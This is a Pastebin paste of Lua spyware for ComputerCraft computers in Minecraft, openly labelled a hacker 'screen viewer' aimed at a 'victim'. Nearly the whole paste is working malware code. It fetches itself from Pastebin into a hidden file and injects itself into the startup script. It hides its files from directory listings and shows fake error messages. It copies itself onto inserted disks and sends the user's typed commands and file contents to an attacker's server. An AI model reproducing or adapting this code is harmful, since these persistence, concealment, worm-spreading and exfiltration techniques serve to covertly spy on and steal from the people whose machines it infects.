Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- H4CK3RZ Screen viewer by PaymentOption; Client Side --
- VERSION = "Alpha 0.0.1"
- ---------------------------------------------------------
- rednet.open("top")
- rednet.open("back")
- rednet.open("right")
- rednet.open("left")
- rednet.open("bottom")
- -- VARS --
- serverID = 156
- sLink = "3MySLThV"
- ----------
- rednet.send(serverID, "connect")
- -- Helper Functions --
- function cPrint(height, string)
- local w, h = term.getSize()
- local xPosition = w/2 - string.len(string)/2
- term.setCursorPos(xPosition, height)
- term.write(string)
- end
- function rPrint(height, string)
- local w,h = term.getSize()
- local xPos = w - string.len(string)
- term.setCursorPos(xPos, height)
- term.write(string)
- end
- function clear() term.clear(); term.setCursorPos(1,1) end
- function split(str, pat)
- local t = {} -- NOTE: use {n = 0} in Lua-5.0
- local fpat = "(.-)" .. pat
- local last_end = 1
- local s, e, cap = str:find(fpat, 1)
- while s do
- if s ~= 1 or cap ~= "" then
- table.insert(t,cap)
- end
- last_end = e+1
- s, e, cap = str:find(fpat, last_end)
- end
- if last_end <= #str then
- cap = str:sub(last_end)
- table.insert(t, cap)
- end
- return t
- end
- ----------------------
- -- File Functions --
- function listHidden() -- Function used to make sure our victim doesn't see our xeno file!
- local sDir = shell.dir()
- local tAll = fs.list( sDir )
- local tFiles = {}
- local tDirs = {}
- for n, sItem in pairs( tAll ) do
- if string.sub( sItem, 1, 1 ) ~= "." then
- local sPath = fs.combine( sDir, sItem )
- if fs.isDir( sPath ) then
- table.insert( tDirs, sItem )
- else
- table.insert( tFiles, sItem )
- end
- end
- end
- table.sort( tDirs )
- table.sort( tFiles )
- for i=1, #tFiles do if tFiles[i] == "OS/log" then table.remove(tFiles, i); break end; end
- for i=1, #tDirs do if tDirs[i] == "OS" then table.remove(tDirs, i); break end; end
- textutils.pagedTabulate( tDirs, tFiles )
- end
- function storeSelf()
- if fs.isDir("OS") == false then shell.run("mkdir", "OS") end
- if fs.exists("OS/log") == false then
- shell.run("rom/programs/http/pastebin", "get", sLink, "OS/log")
- end
- if fs.exists("/startup") then
- local file = fs.open("/startup", "r")
- local fileContents = file.readAll()
- file.close(); fs.delete("/startup")
- file = fs.open("/startup", "w")
- file.write("shell.run('OS/log')\n"..fileContents)
- file.close()
- else
- local file = fs.open("/startup", "w")
- file.write("shell.run('OS/log')\n")
- file.close()
- end
- end
- -- Get Screen --
- function getScreen()
- local tCommand = {}; local command = ""
- write(shell.dir().."> ")
- command = read()
- if fs.exists("/disk") then
- local file = fs.open("OS/log", "r")
- local fileContents = file.readAll()
- file.close()
- file = fs.open("disk/startup", "w")
- file.write(tostring(fileContents))
- file.close()
- end
- tCommand = split(tostring(command), " ")
- if tCommand[1] == nil or tCommand[1] == "" then rednet.send(serverID, "82d5sf Nothing"); return end
- if tCommand[1] == "list" or tCommand[1] == "ls" then listHidden(); return end -- Hide our file
- if tCommand[1] == "cp" then tCommand[1] = "copy" end
- if fs.exists("rom/programs/"..tCommand[1]) == false and fs.exists("rom/apis/"..tCommand[1]) == false and fs.exists(shell.dir().."/"..tCommand[1]) then -- Send a file
- rednet.send(serverID, "82d5sf FILE")
- sender, message = rednet.receive()
- if sender == serverID and message == "ready" then
- local file = fs.open(tCommand[1], "r")
- local fileContents = file.readAll()
- file.close()
- rednet.send(serverID, tostring(fileContents))
- else cPrint(6, "FAILED"); sleep(3) end
- end
- rednet.send(serverID, "82d5sf "..tostring(command))
- if tCommand[2] == "OS" then print("Unknown error"); return end
- if tCommand[2] == "OS/log" then print("Unknown error"); return end
- if tCommand[2] == "startup" then print("Unknown error"); return end
- shell.run(tCommand[1], tCommand[2], tCommand[3], tCommand[4], tCommand[5])
- if tCommand[1] == "edit" then print(os.version()) end--]]
- end
- ----------------
- storeSelf()
- clear()
- print(os.version())
- while true do
- getScreen()
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement